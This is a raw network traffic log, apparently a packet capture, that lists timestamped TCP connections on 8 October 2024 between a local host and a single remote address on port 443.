Oct 8, 2024 02:46:21.219916105 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.220094919 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.220761061 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.245934963 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.245934963 CEST	51451	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.245955944 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.245964050 CEST	443	51451	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.246490002 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.246561050 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.246892929 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.246956110 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.246982098 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.246994972 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.247000933 CEST	51452	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.247020960 CEST	443	51452	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.248975992 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249022961 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.249123096 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249293089 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249310017 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.249365091 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249461889 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.249591112 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249737024 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.249768019 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.342432022 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.344036102 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.344163895 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.344163895 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.344165087 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.346901894 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.346949100 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.347019911 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.347150087 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.347156048 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.657982111 CEST	51453	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.658032894 CEST	443	51453	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.702879906 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.703449011 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.703483105 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.703880072 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.703888893 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.806088924 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.806114912 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.806179047 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.806185961 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.806231022 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.806468010 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.806492090 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.806508064 CEST	51454	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.806515932 CEST	443	51454	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.809396029 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.809437037 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.809518099 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.809676886 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.809686899 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.901530981 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.904757023 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.905152082 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.905189037 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.905483961 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.905546904 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.905582905 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.905596972 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.905730009 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.905745983 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.995297909 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.997193098 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.997225046 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:21.997560024 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:21.997564077 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.000757933 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.000917912 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.000977039 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.000998974 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.001035929 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.001178980 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.001203060 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.001218081 CEST	51456	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.001224995 CEST	443	51456	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003097057 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003148079 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003195047 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003242016 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003459930 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003490925 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003551006 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003647089 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003655910 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003683090 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003700972 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.003711939 CEST	51455	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.003717899 CEST	443	51455	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.005492926 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.005534887 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.005598068 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.005683899 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.005693913 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.096791029 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.096883059 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.096944094 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.097100973 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.097122908 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.097137928 CEST	51457	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.097143888 CEST	443	51457	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.099482059 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.099523067 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.099701881 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.099859953 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.099869013 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.504869938 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.505419016 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.505441904 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.505860090 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.505863905 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.626847029 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.627391100 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.627412081 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.627789974 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.627794981 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.653785944 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.654577017 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.654639006 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.654691935 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.654741049 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.654973984 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.654993057 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.655003071 CEST	51458	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.655009031 CEST	443	51458	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.657532930 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.657584906 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.657658100 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.657785892 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.657797098 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.742254019 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.742835999 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.742882013 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.743284941 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.743294954 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.745457888 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.745855093 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.745872021 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.746273041 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.746279955 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.746445894 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.748167992 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.748208046 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.748223066 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.748259068 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.748827934 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.749121904 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.749157906 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.749505043 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.749516010 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.750711918 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.750732899 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.750747919 CEST	51442	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.750756025 CEST	443	51442	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.753545046 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.753583908 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.753640890 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.753891945 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.753904104 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.843790054 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.843902111 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.843991041 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.844151974 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.844178915 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.844197035 CEST	51459	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.844203949 CEST	443	51459	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.844569921 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.844805956 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.844855070 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.844861984 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.844908953 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.845546007 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.845566988 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.845578909 CEST	51461	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.845585108 CEST	443	51461	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.849615097 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.849668980 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.849730968 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.849752903 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.849935055 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.849987984 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.850081921 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.850125074 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.850176096 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.901371956 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.901459932 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.901549101 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.901565075 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.901621103 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.901659966 CEST	51460	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.901679039 CEST	443	51460	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.902561903 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.902596951 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.902688026 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.902762890 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.905189037 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.905210972 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:22.905275106 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.905397892 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:22.905419111 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.301805973 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.308800936 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.308826923 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.309129000 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.309134960 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.388215065 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.388641119 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.388678074 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.389046907 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.389054060 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.411320925 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.411353111 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.411413908 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.411418915 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.411458969 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.411643028 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.411659956 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.411672115 CEST	51462	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.411676884 CEST	443	51462	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.414450884 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.414489031 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.414568901 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.414725065 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.414732933 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.487745047 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.487796068 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.488006115 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.488135099 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.488156080 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.488168955 CEST	51463	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.488177061 CEST	443	51463	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.490725040 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.490755081 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.490828037 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.490966082 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.490972996 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.549675941 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.550276041 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.550301075 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.550571918 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.550576925 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.554065943 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.554300070 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.554330111 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.554613113 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.554619074 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.555911064 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.556117058 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.556129932 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.556413889 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.556418896 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.685887098 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.685995102 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.686057091 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.686256886 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.686256886 CEST	51465	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.686276913 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.686288118 CEST	443	51465	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.688822031 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.688858032 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.688921928 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.689088106 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.689094067 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.705257893 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.705840111 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.705904007 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.705935001 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.705982924 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.706027985 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.706060886 CEST	51466	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.706073999 CEST	443	51466	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.708700895 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.708758116 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.708810091 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.708937883 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.708950996 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.709191084 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.709273100 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.709326982 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.709397078 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.709397078 CEST	51464	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.709430933 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.709455013 CEST	443	51464	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.711344004 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.711380959 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:23.711440086 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.711564064 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:23.711576939 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.081670046 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.082252979 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.082330942 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.082549095 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.082564116 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.175088882 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.175683975 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.175715923 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.175987005 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.175996065 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.182349920 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.182501078 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.182573080 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.182615995 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.182615995 CEST	51467	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.182637930 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.182652950 CEST	443	51467	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.184909105 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.184948921 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.185024023 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.185136080 CEST	51472	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.185143948 CEST	443	51472	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.334276915 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.334844112 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.334878922 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.335249901 CEST	51469	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.335254908 CEST	443	51469	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.356743097 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.357142925 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.357177019 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.357495070 CEST	51470	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.357506990 CEST	443	51470	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.385943890 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.386301041 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.386327028 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.386677980 CEST	51471	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.386686087 CEST	443	51471	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.390502930 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.391017914 CEST	443	51468	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:24.391068935 CEST	51468	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:24.391077995 CEST	443	51468	13.107.246.45	192.168.2.4
